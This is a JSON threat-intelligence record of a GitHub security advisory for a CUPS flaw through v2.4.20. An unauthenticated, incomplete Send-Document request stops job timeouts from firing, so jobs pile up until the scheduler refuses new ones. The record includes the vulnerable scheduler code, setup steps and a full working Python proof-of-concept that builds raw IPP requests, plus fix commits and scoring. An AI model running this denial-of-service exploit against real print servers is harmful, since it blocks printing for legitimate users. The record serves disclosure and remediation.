{"schema":"threatline.record/2","record":{"id":"GHSA-hhw5-qqmc-p6rg","aliases":["GHSA-hhw5-qqmc-p6rg"],"summary":"Incomplete Send-Document request globally suppresses job submission timeouts, allowing unauthenticated DoS","details":"### Summary\r\n\r\nA flaw in `cupsdCheckJobs()` allows an **unauthenticated client that can reach the IPP service to freeze job-submission timeouts for every job on the server with one incomplete Send-Document request**.\r\n\r\nWhile any client connection has an in-flight `IPP_SEND_DOCUMENT` request, `cupsdCheckJobs()` skips timeout processing for all jobs with `pending_timeout` set, without checking whether the connection belongs to the job currently being examined.\r\n\r\nAs a result, jobs that are still waiting for documents (`job-incoming`) never expire. An attacker can accumulate such jobs until `MaxJobs` is reached, after which new print submissions from all users are rejected.\r\n\r\nI reproduced this on the official CUPS v2.4.20 release build and current 2.4.x HEAD. No authentication is required before placing the connection into the state that triggers the global timeout suppression.\r\n\r\n### Details\r\n\r\nThe issue is in the submission-timeout handling in `cupsdCheckJobs()` (scheduler/job.c:282-302 on v2.4.20):\r\n\r\n```c\r\nif (job->pending_timeout)\r\n{\r\n /*\r\n  * This job is pending; check that we don't have an active Send-Document\r\n  * operation in progress on any of the client connections, then timeout\r\n  * the job so we can start printing...\r\n  */\r\n\r\n  cupsd_client_t *con;\t\t/* Current client connection */\r\n\r\n  for (con = cupsArrayFirst(Clients); con; con = cupsArrayNext(Clients))\r\n    if (con->request &&\r\n        con->request->request.op.operation_id == IPP_SEND_DOCUMENT)\r\n      break;\r\n\r\n  if (con)\r\n    continue;\r\n\r\n  ...\r\n\r\n  cupsdSetJobState(job, ..., \"Job submission timed out.\");\r\n}\r\n```\r\n\r\nFor each job whose submission timeout has expired, cupsd scans the global client list for any connection currently processing `IPP_SEND_DOCUMENT`. The code comment itself states \"on any of the client connections\" — the scan never matches the connection to the job being examined; there is no comparison of `job-id`, `job-uri`, or any other job-specific state. A single unrelated Send-Document consequently suppresses submission timeouts globally.\r\n\r\nThe condition can be reached before Send-Document authorization is performed.\r\n\r\n`con->request` is already parsed and contains the `IPP_SEND_DOCUMENT` operation while the HTTP request body is still being received (scheduler/client.c:1724-1727). The actual IPP operation handler is dispatched only after the complete body reaches `HTTP_STATE_POST_SEND` (scheduler/client.c:1891).\r\n\r\nA client can therefore:\r\n\r\n1. send valid HTTP and IPP headers for `Send-Document`;\r\n2. declare a large `Content-Length`;\r\n3. send only part of the document body; and\r\n4. keep the TCP connection open.\r\n\r\nAt this point `con->request->request.op.operation_id == IPP_SEND_DOCUMENT`, but the request has not reached the operation handler, so the Send-Document policy check has not yet occurred.\r\n\r\nWhile that connection remains open, unrelated jobs in `job-incoming` state do not expire after `MultipleOperationTimeout` (900 seconds by default).\r\n\r\nAn attacker can then repeatedly issue `Create-Job` requests. These jobs normally expire if no document is supplied, but the held Send-Document connection prevents that cleanup.\r\n\r\nOnce the number of retained jobs reaches `MaxJobs` (500 by default), further job submissions are rejected because the scheduler's job table is full.\r\n\r\nClosing the held connection immediately removes the global suppression, after which the expired jobs are timed out and cleaned up.\r\n\r\nI reproduced the issue on:\r\n\r\n- CUPS v2.4.20 release tarball\r\n- CUPS 2.4.x HEAD `a7bd8ba`\r\n\r\n### Proof of concept\r\n\r\nBuild CUPS v2.4.20 from the official release tarball:\r\n\r\n```bash\r\n./configure\r\nmake\r\n```\r\n\r\nUse the shipped `conf/cupsd.conf`.\r\n\r\nFor testing from another host, configure cupsd to listen on a reachable address and allow the test client's subnet under `<Location />`, for example:\r\n\r\n```text\r\nListen 192.168.1.10:8632\r\n```\r\n\r\nTo shorten the reproduction, optionally set:\r\n\r\n```text\r\nMultipleOperationTimeout 12\r\n```\r\n\r\nThe default is 900 seconds; this only reduces the time required to demonstrate the bug.\r\n\r\nCreate an accepting queue:\r\n\r\n```bash\r\nlpadmin -p p1 -E -v file:///dev/null\r\n```\r\n\r\nJob creation from another host requires a shared queue (`DefaultShared` defaults to Yes, so queues created with `lpadmin` are shared); against an unshared queue a remote Create-Job is rejected with `client-error-not-authorized` before the job is created.\r\n\r\nThen run the following from a client permitted by the host ACL. No credentials are supplied.\r\n\r\n```python\r\n#!/usr/bin/env python3\r\nimport socket\r\nimport struct\r\nimport sys\r\nimport time\r\n\r\nHOST = sys.argv[1]\r\nPORT = int(sys.argv[2])\r\n\r\nPURI = f\"ipp://{HOST}:{PORT}/printers/p1\"\r\nTMO = 12\r\n\r\ndef attr_str(tag, name, value):\r\n    value = value.encode()\r\n    return (\r\n        struct.pack(\">BH\", tag, len(name))\r\n        + name.encode()\r\n        + struct.pack(\">H\", len(value))\r\n        + value\r\n    )\r\n\r\ndef attr_int(name, value):\r\n    return (\r\n        struct.pack(\">BH\", 0x21, len(name))\r\n        + name.encode()\r\n        + struct.pack(\">HI\", 4, value)\r\n    )\r\n\r\ndef attr_bool(name, value):\r\n    return (\r\n        struct.pack(\">BH\", 0x22, len(name))\r\n        + name.encode()\r\n        + struct.pack(\">HB\", 1, 1 if value else 0)\r\n    )\r\n\r\ndef ipp_post(body, timeout=15):\r\n    request = (\r\n        f\"POST / HTTP/1.1\\r\\n\"\r\n        f\"Host: {HOST}:{PORT}\\r\\n\"\r\n        f\"Content-Type: application/ipp\\r\\n\"\r\n        f\"Content-Length: {len(body)}\\r\\n\"\r\n        f\"Connection: close\\r\\n\\r\\n\"\r\n    ).encode() + body\r\n\r\n    sock = socket.create_connection((HOST, PORT), timeout=timeout)\r\n    sock.sendall(request)\r\n\r\n    response = b\"\"\r\n\r\n    try:\r\n        while True:\r\n            chunk = sock.recv(4096)\r\n            if not chunk:\r\n                break\r\n            response += chunk\r\n    except socket.timeout:\r\n        pass\r\n\r\n    sock.close()\r\n\r\n    if b\"\\r\\n\\r\\n\" not in response:\r\n        return None, b\"\"\r\n\r\n    ipp = response.split(b\"\\r\\n\\r\\n\", 1)[1]\r\n    code = struct.unpack(\">H\", ipp[2:4])[0] if len(ipp) >= 4 else None\r\n\r\n    return code, ipp\r\n\r\ndef create_job(user):\r\n    body = struct.pack(\">BBHI\", 1, 1, 0x0005, 1) + b\"\\x01\"\r\n    body += attr_str(0x47, \"attributes-charset\", \"utf-8\")\r\n    body += attr_str(0x48, \"attributes-natural-language\", \"en\")\r\n    body += attr_str(0x45, \"printer-uri\", PURI)\r\n    body += attr_str(0x42, \"requesting-user-name\", user)\r\n    body += b\"\\x03\"\r\n\r\n    code, ipp = ipp_post(body)\r\n\r\n    pos = ipp.find(b\"job-id\")\r\n    job_id = (\r\n        struct.unpack(\">I\", ipp[pos + 8:pos + 12])[0]\r\n        if pos >= 0 else None\r\n    )\r\n\r\n    return code, job_id\r\n\r\ndef job_state(job_id, user):\r\n    body = struct.pack(\">BBHI\", 1, 1, 0x0009, 2) + b\"\\x01\"\r\n    body += attr_str(0x47, \"attributes-charset\", \"utf-8\")\r\n    body += attr_str(0x48, \"attributes-natural-language\", \"en\")\r\n    body += attr_str(\r\n        0x45,\r\n        \"job-uri\",\r\n        f\"ipp://{HOST}:{PORT}/jobs/{job_id}\",\r\n    )\r\n    body += attr_str(0x42, \"requesting-user-name\", user)\r\n    body += b\"\\x03\"\r\n\r\n    code, ipp = ipp_post(body)\r\n\r\n    pos = ipp.find(b\"job-state\")\r\n    state = (\r\n        struct.unpack(\">I\", ipp[pos + 11:pos + 15])[0]\r\n        if pos >= 0 else None\r\n    )\r\n\r\n    return code, state\r\n\r\n\r\n# Create the attacker's job.\r\ncode, job_id = create_job(\"attacker\")\r\nprint(\"Create-Job:\", hex(code), \"job-id:\", job_id)\r\n\r\n\r\n# Start Send-Document but deliberately leave the HTTP body incomplete.\r\ndeclared = 1 << 20\r\nactual = 4096\r\n\r\nbody = struct.pack(\">BBHI\", 1, 1, 0x0006, 2) + b\"\\x01\"\r\nbody += attr_str(0x47, \"attributes-charset\", \"utf-8\")\r\nbody += attr_str(0x48, \"attributes-natural-language\", \"en\")\r\nbody += attr_str(0x45, \"printer-uri\", PURI)\r\nbody += attr_int(\"job-id\", job_id)\r\nbody += attr_str(0x42, \"requesting-user-name\", \"attacker\")\r\nbody += attr_bool(\"last-document\", False)\r\nbody += b\"\\x02\" + b\"\\x03\" + b\"A\" * declared\r\n\r\nheaders = (\r\n    f\"POST / HTTP/1.1\\r\\n\"\r\n    f\"Host: {HOST}:{PORT}\\r\\n\"\r\n    f\"Content-Type: application/ipp\\r\\n\"\r\n    f\"Content-Length: {len(body)}\\r\\n\"\r\n    f\"Connection: keep-alive\\r\\n\\r\\n\"\r\n).encode()\r\n\r\npin = socket.create_connection((HOST, PORT), timeout=30)\r\n\r\npin.sendall(\r\n    headers\r\n    + body[:-declared]\r\n    + b\"A\" * actual\r\n)\r\n\r\n\r\n# Create unrelated jobs.\r\ntime.sleep(2)\r\n\r\nvictims = [\r\n    create_job(f\"victim{i}\")\r\n    for i in range(3)\r\n]\r\n\r\nprint(\r\n    \"victim Create-Jobs:\",\r\n    [(hex(code), jid) for code, jid in victims],\r\n)\r\n\r\n\r\n# Wait beyond twice the configured submission timeout.\r\ntime.sleep(2 * TMO + 4)\r\n\r\nheld = [\r\n    job_state(jid, f\"victim{i}\")\r\n    for i, (_, jid) in enumerate(victims)\r\n]\r\n\r\nprint(\r\n    \"states while Send-Document is held:\",\r\n    [(hex(code), state) for code, state in held],\r\n)\r\n\r\n\r\n# Release the incomplete Send-Document.\r\npin.close()\r\n\r\ntime.sleep(8)\r\n\r\nafter = [\r\n    job_state(jid, f\"victim{i}\")\r\n    for i, (_, jid) in enumerate(victims)\r\n]\r\n\r\nprint(\r\n    \"states after release:\",\r\n    [(hex(code), state) for code, state in after],\r\n)\r\n```\r\n\r\nWhile the incomplete Send-Document connection is held, the unrelated jobs remain in state `4` (`job-incoming`) even after more than twice `MultipleOperationTimeout`.\r\n\r\nNo corresponding:\r\n\r\n```text\r\nJob submission timed out.\r\n```\r\n\r\nmessages appear in `error_log`.\r\n\r\nAfter the held connection is closed, the expired jobs time out immediately and the timeout messages appear together.\r\n\r\nTo demonstrate the full denial of service, keep the Send-Document connection open and continue issuing `Create-Job` requests. Once the scheduler reaches `MaxJobs`, additional submissions are rejected with `client-error-not-possible` / \"too many jobs\".\r\n\r\n### Impact\r\n\r\nThis is an **unauthenticated denial-of-service vulnerability** in cupsd.\r\n\r\nA client that can reach the scheduler through the configured host ACL can keep one incomplete Send-Document request open and globally disable submission-timeout cleanup.\r\n\r\nThis allows incomplete jobs to accumulate until `MaxJobs` is exhausted, after which legitimate users can no longer submit new print jobs.\r\n\r\nThe denial of service persists for as long as the attacker maintains the connection. Closing it allows the expired jobs to time out and the scheduler to recover.\r\n\r\nNetwork-accessible shared print servers and spool servers are the primary affected deployments. Systems that expose cupsd only on loopback are not remotely reachable through this path.\r\n\r\nA robust fix should make the in-flight Send-Document check job-specific, for example by matching the request's `job-id` or `job-uri` against the job currently being timed out.\r\n\r\nSeparately, enforcing a timeout for incomplete HTTP request bodies would prevent a client from holding the pre-dispatch Send-Document state indefinitely.\r\n\r\n# #  Advisory Type classification:\r\n Vulnerability with no CVE ID\r\n\r\n  ## CVSS Score Remediation:\r\n\r\n  ▎ Rescored based on the default configuration which requires a local request and account. Low availability impact because an admin can clear all pending jobs with \"cancel -a\".\r\n\r\n  ## Fixes:\r\n  [master 3bb26257e] Don't allow clients to hold a job open longer than the multiple-operation-time-out value (GHSA-hhw5-qqmc-p6rg)\r\n  [2.4.x 6c61d23f5] Don't allow clients to hold a job open longer than the multiple-operation-time-out value (GHSA-hhw5-qqmc-p6rg)","categories":["Unclassified"],"product":"cups","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/OpenPrinting/cups/security/advisories/GHSA-hhw5-qqmc-p6rg","source_modified_at":"2026-10-12T16:51:54Z","fetched_at":"2026-10-26T19:10:57.178988Z","package":{"ecosystem":"","name":"cups"},"range":"<=v2.4.20"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/OpenPrinting/cups/security/advisories/GHSA-hhw5-qqmc-p6rg","source_modified_at":"2026-10-12T16:51:54Z","fetched_at":"2026-10-26T19:10:57.178988Z","package":{"ecosystem":"","name":"cups"},"version":"2.4.21"}],"cvss":3.3,"severity":"Low","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-06T14:09:04Z","modified_at":"2026-10-12T16:51:54Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/OpenPrinting/cups/security/advisories/GHSA-hhw5-qqmc-p6rg","fetched_at":"2026-10-26T19:10:57.178988Z","source_modified_at":"2026-10-12T16:51:54Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-12T16:51:54Z","content_hash":"284ad5a4b900040eb2d391bc1fdaea43374804dfffecdc0333597558236ff3cf"}}
